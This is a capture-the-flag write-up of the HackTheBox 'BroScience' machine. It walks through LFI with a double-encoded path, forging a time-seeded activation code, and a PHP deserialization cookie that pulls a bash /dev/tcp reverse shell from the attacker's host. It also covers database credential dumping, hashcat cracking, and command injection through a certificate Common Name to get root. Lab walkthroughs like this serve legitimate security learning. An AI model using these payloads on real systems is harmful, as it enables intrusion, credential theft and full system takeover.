Skip to main content
  1. Posts/

HackTheBox - BroScience Writeup

·3217 words·16 mins
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 10.10.11.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 12:37 CET
Nmap scan report for 10.10.11.195
Host is up (0.025s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.97 seconds

As we can see, we need to add the following line on our /ect/hosts to visit the webserver: 10.10.11.195 broscience.htb

When we visit the website, we can see some articles and a log in button:

b62b8a5dcdc604d58dc85a62bb910f46.png

On these articles, we found some usernames:

  • administrator
  • bill
  • john
  • michael
Directory listing>

Directory listing #

Then, we decide to enumerate directories:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ gobuster dir -k --url https://broscience.htb  -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://broscience.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   500,503,404,400
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/01/23 10:19:04 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
LFI>

LFI #

On /includes there is some php files:

78c933be45198de63b101e81f43e43fe.png

The img.php file prints that the parameter path is missing:

91fede9d5e6dd658a4478f2f399a93fb.png

Let’s try to exploit it !

Sadly, it’s detected:

32e717fe409f9a964535c652777135e4.png

So, we decide to double url encode the path and it works !

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-network❌101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss❌103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus❌104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync❌105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux❌106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit❌107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd❌108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq❌109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi❌110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher❌111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse❌112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned❌113:121::/var/lib/saned:/usr/sbin/nologin
colord❌114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue❌115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm❌116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill❌1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres❌117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel❌998:998::/var/log/laurel:/bin/false

We know that bill user exists on the host.

Generating Activation Code>

Generating Activation Code #

Now, we’ll try to learn more about the login page.

370b7fbb2d08cd881170dad77fc700ee.png

Let’s try to create an account:

2959e864e15626ea8542cf5962a80022.png

We can see that an activation link is sent, as we can read files from img.php, maybe we can read the source code and see how the activation link is formed ?

Indeed, we can.

Let’s use curl: curl -k https://broscience.htb/includes/img.php?path=..%252Fregister.php

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Register</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="register.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Register</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="email" class="uk-input" type="email" placeholder="Email">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Register</button>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

We can see that the activation code is generated by importing includes/utils.php and then the function generate_activation_code() is called. Let’s see this function by reading includes/utils.php. curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Futils.php

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

By analyzing the function generate_activation_code(), we learned that the activation code is not random, he’s based on a timestamp. So, if we know the exact time at wich we create our account, we can regenerate the activation code. Let’s use Burp to capture the response from the server when we create an account:

1131ba9c1e3ad3082b6457031af110b5.png

Now, we recreate the function locally. We have changed srand(time()) to srand(strtotime("Mon, 23 Jan 2023 10:08:40 GMT")):

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(strtotime("Mon, 23 Jan 2023 10:08:40 GMT"));
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    echo $activation_code;
}

generate_activation_code()
?>

Let’s see if it works:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ php activation_code.php 
Lx7LbkUFtJVrFy9KSq2hDpm965lts8Fd

1446cc81547cf5f3bdadee47d41e3a29.png

Now, we are logged as test2:

6fab61f4695aa64c911065dcd163975f.png

PHP Deserialization>

PHP Deserialization #

After some researches, we can see that in the utils.php there is the process to create the cookie:

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

The theme value is stored in the cookie through serialization. So, when we provide a cookie, the value is unserialized. Maybe we can craft this value to execute something macilious ?

As there is an Avatar class in the code that writes the content of a file locally, maybe we can serialize an object on our machine and then send this value to the server through the cookie ? Indeed, the __wakeup method is triggered when unserialize() is called. So when the value of the cookie we’ll be unserialized, a new object of the AvatarInterface we’ll be created with our values.

So let’s try to do it with the following code:

<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp =  "http://10.10.14.38/reverse-shell.php";
    public $imgPath = "./reverse-shell.php";
    
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$up_cookie = base64_encode(serialize(new AvatarInterface()));
echo $up_cookie
?>

So the file that will be opened is located on http://10.10.14.38/reverse-shell.php and we’ll be wrote on ./reverse-shell.php. Then we serialize and encode in base64 the object of the class with these values.

By executing this code, we got a malicious cookie:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ php serialize.php        
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozNjoiaHR0cDovLzEwLjEwLjE0LjM4L3JldmVyc2Utc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTk6Ii4vcmV2ZXJzZS1zaGVsbC5waHAiO30=

We add it on the user-prefs cookie on our navigator and we reload the page:

6415e912ae5e4d3b58d242a7a256196f.png

Previously, we have created a reverse-shell.php with the following code:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.38/1234 0>&1'");?>

And we have ran a webserver, when the page is reloaded we can see that a request is made:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.195 - - [23/Jan/2023 16:32:35] "GET /reverse-shell.php HTTP/1.0" 200 -
10.10.11.195 - - [23/Jan/2023 16:32:36] "GET /reverse-shell.php HTTP/1.0" 200 -
10.10.11.195 - - [23/Jan/2023 16:32:36] "GET /reverse-shell.php HTTP/1.0" 200 -

Then, we got a shell !

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.38] from (UNKNOWN) [10.10.11.195] 43930
bash: cannot set terminal process group (1247): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Local Enumeration>

Local Enumeration #

Database>

Database #

Previously, with the LFI vuln we found credentials to authenticate to the database: curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Fdb_connect.php

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Fdb_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = ";";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

So let’s try to found bill hash:

www-data@broscience:/$ psql -h localhost -d broscience -U dbuser
psql -h localhost -d broscience -U dbuser
Password for user dbuser: RangeOfMotion%777

SELECT username,password FROM users;
   username    |             password             
---------------+----------------------------------
 administrator | 15657792073e8a843d4f91fc403454e1
 bill          | 13edad4932da9dbb57d9cd15b66ed104
 michael       | bd3dad50e2d578ecba87d5fa15ca5f85
 john          | a7eed23a7be6fe0d765197b1027453fe
 dmytro        | 5d15340bded5b9395d5d14b9c21bc82b
 test          | 84c6e0688b2ef52ff1aeb922196d4e5a
 test2         | 2f7d0e82bd095ead5cfff2c02dfe32cf
 h             | 710588f9357b37916f8b48eaa105bc64
(8 rows)
Password cracking>

Password cracking #

Let’s add the salt and the hash in the format $pass:$salt. We keep only the fourth first hashes:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ cat hashes                                                        
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl

Once cracked, here is the passwords:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ hashcat -m 20 -a 0 hashes /usr/share/wordlists/rockyou.txt --show 
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
User PrivEsc>

User PrivEsc #

Now, let’s try to connect to the host through ssh with bill:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ ssh bill@broscience.htb                                              
The authenticity of host 'broscience.htb (10.10.11.195)' can't be established.
ED25519 key fingerprint is SHA256:qQRm/99RG60gqk9HTpyf93940WYoqJEnH+MDvJXkM6E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'broscience.htb' (ED25519) to the list of known hosts.
bill@broscience.htb's password: 
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 23 09:31:35 2023 from 10.10.14.45
bill@broscience:~$ ls -la
total 888
drwxr-xr-x 16 bill bill   4096 Jan 23 04:57 .
drwxr-xr-x  3 root root   4096 Dec  5 06:59 ..
lrwxrwxrwx  1 bill bill      9 Jul 14  2022 .bash_history -> /dev/null
-rw-r--r--  1 bill bill    220 Jul 12  2022 .bash_logout
-rw-r--r--  1 bill bill   3526 Jul 14  2022 .bashrc
drwxr-xr-x 10 bill bill   4096 Jul 14  2022 .cache
drwxr-xr-x  2 bill bill   4096 Jan 23 06:14 Certs
drwx------ 11 bill bill   4096 Jul 14  2022 .config
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Desktop
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Documents
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Downloads
drwx------  3 bill bill   4096 Jan 23 11:23 .gnupg
-rwxr-xr-x  1 bill bill 828098 Jan 23 04:54 linpeas.sh
drwxr-xr-x  3 bill bill   4096 Jul 12  2022 .local
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Music
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Pictures
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Public
drwx------  2 bill bill   4096 Jan 23 09:32 .ssh
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Templates
-rw-r-----  1 root bill     33 Jan 22 17:09 user.txt
drwxr-xr-x  2 bill bill   4096 Jul 14  2022 Videos
Command Injection>

Command Injection #

We can see a Certs folder, let’s look at it more closely:

bill@broscience:~/Certs$ ls -la
total 8
drwxr-xr-x  2 bill bill 4096 Jan 23 06:14 .
drwxr-xr-x 16 bill bill 4096 Jan 23 04:57 ..

Nothing, but we found under /opt this script:

bill@broscience:/opt$ cat renew_cert.sh 
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
fi

By running pspy64 on the host, we can see that a cron is executing with root rights the script:

bill@broscience:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/01/23 11:40:01 CMD: UID=0     PID=231791 | /usr/sbin/CRON -f 
2023/01/23 11:40:01 CMD: UID=0     PID=231790 | /usr/sbin/CRON -f 
2023/01/23 11:40:01 CMD: UID=0     PID=231792 | /usr/sbin/CRON -f 
2023/01/23 11:40:01 CMD: UID=0     PID=231793 | /bin/bash /root/webappreset.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231794 | /bin/bash /root/webappreset.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231795 | /usr/sbin/CRON -f 
2023/01/23 11:40:01 CMD: UID=0     PID=231796 | /bin/bash /root/webappreset.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231797 | /bin/bash /root/cron.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231798 | /bin/bash /root/cron.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231799 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/01/23 11:40:01 CMD: UID=0     PID=231800 | /bin/bash /root/cron.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231801 | /bin/bash /root/cron.sh 
2023/01/23 11:40:01 CMD: UID=0     PID=231802 | /bin/bash /root/webappreset.sh

We can see that the script check the validity of a certificate and renew it if needed. If the script had to renew it, we can see that it moves the script under /tmp/temp.crt.

But the $commonName variable is insecure in this command: /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

So we can execute whatever we want by injecting code in the Common Name field. Indeed, we just need to create a certificate with one day of validity and set Common Name to $(chmod u+s /bin/bash):

bill@broscience:~/Certs$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 1 -out broscience.crt
Generating a RSA private key
......................................................................................................................................................................................+++++
..................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
Email Address []:
Root PrivEsc>

Root PrivEsc #

And we got a root shell !

bill@broscience:~/Certs$ /bin/bash -p
bash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) egid=0(root) groups=0(root),1000(bill)
bash-5.1# cat root.txt